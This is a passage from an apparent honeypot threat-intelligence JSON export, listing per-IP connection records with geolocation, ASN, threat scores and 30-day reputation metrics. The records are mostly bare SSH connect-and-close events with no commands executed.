        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T16:15:44.704000+00:00",
        "last_seen_30d": "2026-05-19T16:57:47.076000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "205.210.31.52": {
      "attack_count": 4,
      "first_seen": "2026-05-15T16:21:31.687Z",
      "last_seen": "2026-05-15T16:21:34.582Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 30,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T20:26:37+00:00",
        "last_seen_30d": "2026-05-31T20:06:40.120000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 15,
        "Cowrie": 4,
        "ConPot": 1,
        "Sentrypeer": 1
      }
    },
    "205.210.31.89": {
      "attack_count": 4,
      "first_seen": "2026-05-23T10:04:45.563Z",
      "last_seen": "2026-05-23T10:04:49.409Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 75.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 26,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T00:13:05+00:00",
        "last_seen_30d": "2026-05-29T04:55:12.054000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 20,
        "Cowrie": 4,
        "Dionaea": 4
      }
    },
    "66.132.195.108": {
      "attack_count": 4,
      "first_seen": "2026-05-27T13:33:48.503Z",
      "last_seen": "2026-05-27T13:34:05.691Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 76.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.2,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 27,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T13:17:47+00:00",
        "last_seen_30d": "2026-05-30T08:07:49.582000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 7,
        "Redishoneypot": 6,
        "Cowrie": 4
      }
    },
    "66.132.224.89": {
      "attack_count": 4,
      "first_seen": "2026-05-19T09:33:39.928Z",
      "last_seen": "2026-05-19T09:33:55.050Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 83.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T19:46:57.055000+00:00",
        "last_seen_30d": "2026-05-31T04:25:07.732000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 18,
        "Cowrie": 4,
        "Dionaea": 3
      }
    },
    "83.224.163.196": {
      "attack_count": 4,
      "first_seen": "2026-05-19T11:01:40.328Z",
      "last_seen": "2026-05-19T11:02:39.049Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Sant'Angelo Lodigiano",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:01:40.328000+00:00",
        "last_seen_30d": "2026-05-19T13:45:32.027000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "159.89.133.220": {
      "attack_count": 3,
      "first_seen": "2026-05-07T20:24:28.377Z",
      "last_seen": "2026-05-07T20:24:28.505Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 1,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-07T20:24:25+00:00",
        "last_seen_30d": "2026-05-07T20:25:38.686000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 13,
        "Cowrie": 3,
        "CitrixHoneypot": 1,
        "H0neytr4p": 1
      }
    },
    "68.183.234.194": {
      "attack_count": 3,
      "first_seen": "2026-05-03T09:28:56.617Z",
      "last_seen": "2026-05-03T09:29:57.321Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 56.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.0,
        "persistence": 23.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 28,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T02:32:59+00:00",
        "last_seen_30d": "2026-05-29T12:48:58.408000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Honeytrap": 8,
        "Cowrie": 3
      }
    },
    "101.109.238.181": {
      "attack_count": 2,
      "first_seen": "2026-05-10T04:22:31.472Z",
      "last_seen": "2026-05-10T04:22:45.004Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T04:22:31.472000+00:00",
        "last_seen_30d": "2026-05-10T04:23:47.374000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "101.51.97.219": {
      "attack_count": 2,
      "first_seen": "2026-05-22T04:59:42.359Z",
      "last_seen": "2026-05-22T04:59:55.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T04:59:42.359000+00:00",
        "last_seen_30d": "2026-05-22T05:00:59.189000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "101.75.224.26": {
      "attack_count": 2,
      "first_seen": "2026-05-09T09:16:05.933Z",
      "last_seen": "2026-05-09T09:16:06.209Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T22:39:30+00:00",
        "last_seen_30d": "2026-05-11T05:11:02.965000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "102.164.253.31": {
      "attack_count": 2,
      "first_seen": "2026-05-17T13:12:26.147Z",
      "last_seen": "2026-05-17T13:12:41.648Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Equatorial Guinea",
      "country_code": "GQ",
      "city": "Bata",
      "asn": 328311,
      "as_org": "Conexxia-AS",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T13:12:26.147000+00:00",
        "last_seen_30d": "2026-05-17T13:14:31.029000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.12.170.135": {
      "attack_count": 2,
      "first_seen": "2026-05-03T21:29:02.415Z",
      "last_seen": "2026-05-03T21:29:02.802Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:29:02.415000+00:00",
        "last_seen_30d": "2026-05-03T21:30:03.914000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "111.75.57.62": {
      "attack_count": 2,
      "first_seen": "2026-05-06T10:26:27.078Z",
      "last_seen": "2026-05-06T10:26:39.176Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:26:27.078000+00:00",
        "last_seen_30d": "2026-05-06T10:27:41.974000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.214.19.41": {
      "attack_count": 2,
      "first_seen": "2026-05-12T17:05:28.703Z",
      "last_seen": "2026-05-12T17:05:59.549Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seocho-gu",
      "asn": 7562,
      "as_org": "HCN Dongjak",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T17:05:28.703000+00:00",
        "last_seen_30d": "2026-05-12T17:07:07.663000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "118.233.243.14": {
      "attack_count": 2,
      "first_seen": "2026-05-15T16:42:27.441Z",
      "last_seen": "2026-05-15T16:42:58.250Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Neihu District",
      "asn": 38841,
      "as_org": "kbro CO. Ltd.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T16:42:27.441000+00:00",
        "last_seen_30d": "2026-05-15T16:44:04.465000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "121.61.89.75": {
      "attack_count": 2,
      "first_seen": "2026-05-19T12:24:21.460Z",
      "last_seen": "2026-05-19T12:24:37.121Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T12:24:21.460000+00:00",
        "last_seen_30d": "2026-05-19T12:25:39.421000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.58.32.12": {
      "attack_count": 2,
      "first_seen": "2026-05-08T15:53:44.976Z",
      "last_seen": "2026-05-08T15:53:58.296Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:53:44.976000+00:00",
        "last_seen_30d": "2026-05-08T15:55:01.573000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.230.142.68": {
      "attack_count": 2,
      "first_seen": "2026-05-06T03:21:40.394Z",
      "last_seen": "2026-05-06T03:22:11.093Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:21:40.394000+00:00",
        "last_seen_30d": "2026-05-06T03:23:17.873000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "175.136.117.216": {
      "attack_count": 2,
      "first_seen": "2026-05-15T23:23:59.076Z",
      "last_seen": "2026-05-15T23:24:12.715Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Batu Pahat",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T23:23:59.076000+00:00",
        "last_seen_30d": "2026-05-15T23:25:13.879000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.116.252.66": {
      "attack_count": 2,
      "first_seen": "2026-05-11T00:03:22.397Z",
      "last_seen": "2026-05-11T00:03:35.665Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Santiago del Estero",
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T00:03:22.397000+00:00",
        "last_seen_30d": "2026-05-11T00:04:36.744000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.191.225.196": {
      "attack_count": 2,
      "first_seen": "2026-05-18T19:22:27.621Z",
      "last_seen": "2026-05-18T19:22:40.589Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Punto Fijo",
      "asn": 271855,
      "as_org": "MANGO NETWORK, C. A. MANGONET, C. A",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T19:22:27.621000+00:00",
        "last_seen_30d": "2026-05-18T19:23:44.462000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.108.0.232": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:01:00.239Z",
      "last_seen": "2026-05-04T14:01:12.911Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "W\u014fnju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:01:00.239000+00:00",
        "last_seen_30d": "2026-05-04T14:02:16.994000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.244.110.50": {
      "attack_count": 2,
      "first_seen": "2026-05-22T08:26:53.774Z",
      "last_seen": "2026-05-22T08:27:06.720Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Oravi\u0163a",
      "asn": 33977,
      "as_org": "Banat Telecom Satelit S.R.L.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T08:26:53.774000+00:00",
        "last_seen_30d": "2026-05-22T08:37:12.985000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.53.71.54": {
      "attack_count": 2,
      "first_seen": "2026-05-18T23:07:29.668Z",
      "last_seen": "2026-05-18T23:07:43.041Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Reducto",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:07:29.668000+00:00",
        "last_seen_30d": "2026-05-18T23:08:48.593000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.54.49.197": {
      "attack_count": 2,
      "first_seen": "2026-05-18T11:22:30.983Z",
      "last_seen": "2026-05-18T11:22:43.427Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T11:22:30.983000+00:00",
        "last_seen_30d": "2026-05-18T11:23:44.585000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.189.17.9": {
      "attack_count": 2,
      "first_seen": "2026-05-02T13:41:03.813Z",
      "last_seen": "2026-05-02T13:41:17.101Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:41:03.813000+00:00",
        "last_seen_30d": "2026-05-02T13:42:20.821000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.39.132.68": {
      "attack_count": 2,
      "first_seen": "2026-05-15T15:04:49.433Z",
      "last_seen": "2026-05-15T15:05:02.539Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 20011,
      "as_org": "NTT-DATA-Inc",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T15:04:49.433000+00:00",
        "last_seen_30d": "2026-05-15T15:06:07.244000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "211.232.241.136": {
      "attack_count": 2,
      "first_seen": "2026-05-02T11:08:03.986Z",
      "last_seen": "2026-05-02T11:08:17.708Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 17854,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
